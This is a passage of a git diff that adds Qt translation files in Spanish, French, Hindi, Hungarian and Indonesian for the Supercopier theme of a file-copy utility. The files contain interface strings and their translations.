+ <translation>Mostrar la velocidad como principales informaciones</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation>Uso</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation>Comience con el &quot;botón más&quot; empujada</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation>Minimizar en cerca de la bandeja del sistema</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation>Al final de la copia</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation>Limitar la velocidad de copia de</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation>Haga clic para editar el color</translation>
+ </message>
+ <message>
+ <source>At the end of the copy: </source>
+ <translation type="obsolete">Al final de la copia: </translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">Limitar la velocidad de copia en:</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation> KB/s</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation>Informations</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation>Visualización</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation>Velocidad con barra de progreso</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation>Progresión de color</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation>Mostrar progresión en el título</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation>Siempre visible</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/fr/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/fr/translation.ts
new file mode 100644
index 0000000..49112ee
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/fr/translation.ts
@@ -0,0 +1,344 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="fr" sourcelanguage="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="+180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation>Achetez la version Ultimate pour financer le développement</translation>
+ </message>
+ <message>
+ <location line="+82"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation>Fichier %1/%2, taille: %3/%4</translation>
+ </message>
+ <message>
+ <location line="+214"/>
+ <source>Copy list</source>
+ <translation>Liste de copies</translation>
+ </message>
+ <message>
+ <location line="+2"/>
+ <source>Move list</source>
+ <translation>Liste de déplacements</translation>
+ </message>
+ <message>
+ <location line="+421"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Garder ouvert s&apos;il y a des erreurs</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Never close</source>
+ <translation>Ne jamais fermer</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Always close</source>
+ <translation>Toujours fermer</translation>
+ </message>
+ <message>
+ <location line="+2"/>
+ <source>File Name, 0KB</source>
+ <translation>Nom de fichier, 0Ko</translation>
+ </message>
+ <message>
+ <location line="+183"/>
+ <location line="+12"/>
+ <location line="+12"/>
+ <source>Select a color</source>
+ <translation>Selectionner une coleur</translation>
+ </message>
+ <message>
+ <location line="+75"/>
+ <location line="+4"/>
+ <location line="+2"/>
+ <source>%1 %2% of %3</source>
+ <translation>%1 de %2% de %3</translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="+197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Garder ouvert s&apos;il y a des erreurs</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Never close</source>
+ <translation>Ne jamais fermer</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Always close</source>
+ <translation>Toujours fermer</translation>
+ </message>
+ <message>
+ <location line="+187"/>
+ <location line="+15"/>
+ <location line="+15"/>
+ <source>Select a color</source>
+ <translation>Selectionner une coleur</translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="+35"/>
+ <source>From:</source>
+ <translation>Depuis:</translation>
+ </message>
+ <message>
+ <location line="+37"/>
+ <source>To:</source>
+ <translation>Vers:</translation>
+ </message>
+ <message>
+ <location line="+53"/>
+ <source>Close at the end of the transfers</source>
+ <translation>Fermer à la fin des transferts</translation>
+ </message>
+ <message>
+ <location line="+98"/>
+ <source>&amp;More</source>
+ <translation>Pl&amp;us</translation>
+ </message>
+ <message>
+ <location line="+20"/>
+ <source>&amp;Pause</source>
+ <translation>&amp;Pause</translation>
+ </message>
+ <message>
+ <location line="+14"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Passer</translation>
+ </message>
+ <message>
+ <location line="+11"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Annuler</translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">Limiter la vitesse de copie à:</translation>
+ </message>
+ <message>
+ <source>Close on transfer completion</source>
+ <translation type="obsolete">Fermer à la fin des transferts</translation>
+ </message>
+ <message>
+ <location line="+15"/>
+ <source>Limit copy speed to:</source>
+ <translation>Limiter la vitesse de copie à:</translation>
+ </message>
+ <message>
+ <location line="+43"/>
+ <source>Transfer list</source>
+ <translation>Liste de transferts</translation>
+ </message>
+ <message>
+ <location line="+23"/>
+ <source>Move the selected items to the top</source>
+ <translation>Déplacer l&apos;item selectionné au debut</translation>
+ </message>
+ <message>
+ <location line="+26"/>
+ <source>Move up the selected items</source>
+ <translation>Déplacer l&apos;item selectionné vers le haut</translation>
+ </message>
+ <message>
+ <location line="+26"/>
+ <source>Move down the selected items</source>
+ <translation>Déplacer l&apos;item selectionné vers le bas</translation>
+ </message>
+ <message>
+ <location line="+26"/>
+ <source>Move the selected items to the bottom</source>
+ <translation>Déplacer l&apos;item selectionné à la fin</translation>
+ </message>
+ <message>
+ <location line="+26"/>
+ <source>Add file/folder</source>
+ <translation>Ajouter fichier/dossier</translation>
+ </message>
+ <message>
+ <location line="+29"/>
+ <source>Delete the selected items</source>
+ <translation>Supprimer les items sélectionnés</translation>
+ </message>
+ <message>
+ <location line="+26"/>
+ <source>Search</source>
+ <translation>Rechercher</translation>
+ </message>
+ <message>
+ <location line="+29"/>
+ <source>Export the transfer list</source>
+ <translation>Exporter la liste de transfert</translation>
+ </message>
+ <message>
+ <location line="+26"/>
+ <source>Import the transfer list</source>
+ <translation>Importer la liste de transfert</translation>
+ </message>
+ <message>
+ <location line="+55"/>
+ <source>Previous</source>
+ <translation>Précédent</translation>
+ </message>
+ <message>
+ <location line="+7"/>
+ <source>Next</source>
+ <translation>Suivant</translation>
+ </message>
+ <message>
+ <location line="+35"/>
+ <location line="+69"/>
+ <source>Error</source>
+ <translation>Erreur</translation>
+ </message>
+ <message>
+ <location line="-49"/>
+ <source>Export the errors into transfer list</source>
+ <translation>Exporter les erreurs dans une liste de transfert</translation>
+ </message>
+ <message>
+ <location line="+39"/>
+ <source>Source</source>
+ <translation>Source</translation>
+ </message>
+ <message>
+ <location line="+5"/>
+ <source>Destination</source>
+ <translation>Destination</translation>
+ </message>
+ <message>
+ <location line="+14"/>
+ <source>Interface</source>
+ <translation>Interface</translation>
+ </message>
+ <message>
+ <location line="+37"/>
+ <source>Add file</source>
+ <translation>Ajouter un fichier</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Add folder</source>
+ <translation>Ajouter un répertoire</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Move file(s)</source>
+ <translation>Déplacer le(s) fichier(s)</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Move folder</source>
+ <translation>Déplacer un répertoire</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Copy file(s)</source>
+ <translation>Copier le(s) fichier(s)</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Copy folder</source>
+ <translation>Copier un répertoire</translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="+230"/>
+ <source>Show dual progression</source>
+ <translation>Afficher une double progression</translation>
+ </message>
+ <message>
+ <location line="-58"/>
+ <source>Show speed as main information</source>
+ <translation>Afficher la vitesse comme information principale</translation>
+ </message>
+ <message>
+ <location line="-137"/>
+ <source>Use</source>
+ <translation>Utilisation</translation>
+ </message>
+ <message>
+ <location line="+6"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation>Déplier automatiquement les détails</translation>
+ </message>
+ <message>
+ <location line="+20"/>
+ <source>Minimize on close to systray</source>
+ <translation>Minimiser à la fermeture dans le systray</translation>
+ </message>
+ <message>
+ <location line="+10"/>
+ <source>At the end of the copy</source>
+ <translation>À la fin de la copie</translation>
+ </message>
+ <message>
+ <location line="+26"/>
+ <location line="+24"/>
+ <source>Limit copy speed to</source>
+ <translation>Limiter la vitesse de copie à</translation>
+ </message>
+ <message>
+ <location line="+138"/>
+ <source>Click to edit the color</source>
+ <translation>Cliquer pour édité la couleur</translation>
+ </message>
+ <message>
+ <source>At the end of the copy: </source>
+ <translation type="obsolete">À la fin de la copie:</translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">Limiter la vitesse de copie à:</translation>
+ </message>
+ <message>
+ <source>Limit copy speed to:</source>
+ <translation type="obsolete">Limiter la vitesse de copie à:</translation>
+ </message>
+ <message>
+ <location line="-128"/>
+ <source> KB/s</source>
+ <translation> Ko/s</translation>
+ </message>
+ <message>
+ <location line="+35"/>
+ <source>Informations</source>
+ <translation>Informations</translation>
+ </message>
+ <message>
+ <location line="+38"/>
+ <source>Display</source>
+ <translation>Affichage</translation>
+ </message>
+ <message>
+ <location line="+6"/>
+ <source>Speed with progress bar</source>
+ <translation>Vitesse avec barre de progression</translation>
+ </message>
+ <message>
+ <location line="+30"/>
+ <source>Progression color</source>
+ <translation>Couleur de progression</translation>
+ </message>
+ <message>
+ <location line="-20"/>
+ <source>Show progression in the title</source>
+ <translation>Afficher la progression dans le titre</translation>
+ </message>
+ <message>
+ <location line="-169"/>
+ <source>Always on top</source>
+ <translation>Toujours au 1er plan</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/hi/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/hi/translation.ts
new file mode 100644
index 0000000..78e326c
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/hi/translation.ts
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/hu/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/hu/translation.ts
new file mode 100644
index 0000000..bc36d92
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/hu/translation.ts
@@ -0,0 +1,328 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="hu">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation>Vásárold meg az Ultimate verziót a fejlesztés támogatásához</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation>Fájl %1/%2, méret: %3/%4</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation>Lista másolása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation>Lista mozgatása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Ne zárja be, ha hiba történik</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation>Sose zárja be</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation>Mindig zárja be</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation>Fájlnév, 0KB</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation>Válassz egy színt</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Ne zárja be, ha hiba történik</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation>Sose zárja be</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation>Mindig zárja be</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation>Válassz egy színt</translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation>Forrás:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation>Cél:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation>&amp;Több</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation>&amp;Szünet</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Kihagy</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Mégse</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation>Átviteli lista</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation>Előző</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation>Következő</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation>Kezelőfelület</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation>Kijelölések elemek mozgatása legfelülre</translation>
+ </message>
+ <message>
+ <source>Close on transfer completion</source>
+ <translation type="obsolete">Átvitel végeztével zárja be</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation>Másolási sebesség korlátozása:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation>Kijelölt elemek mozgatása fel</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation>Kijelölt elemek mozgatása le</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation>Kijelölések elemek mozgatása legalulra</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation>Fájl/mappa hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation>Kijelölt elemek törlése</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation>Keresés</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation>Átviteli lista exportálása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation>Átviteli lista importálása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation>Hiba</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation>Hibák exportálása az átviteli listába</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation>Forrás</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation>Cél</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation>Fájl hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation>Mappa hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation>Fájl(ok) mozgatása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation>Mappa mozgatása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation>Fájl(ok) másolása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation>Mappa másolása</translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation>Páros folyamat mutatása</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation>Sebesség mutatása, mint fő információ</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation>Használ</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation>Indítás a &quot;több gomb&quot; lenyomásával</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation>Bezáráskor minimalizálás a tálcára</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation>A másolás befejezésekor</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation>Másolási sebesség korlátozása</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation>Kattints a szín szerkesztéséhez</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation> KB/s</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation>Információk</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation>Megjelenítés</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation>Sebesség folyamatsávval</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation>Folyamat színe</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation>Folyamat mutatása a címsorban</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation>Mindig legfelül</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/id/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/id/translation.ts
new file mode 100644
index 0000000..78e326c
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/id/translation.ts
@@ -0,0 +1,324 @@
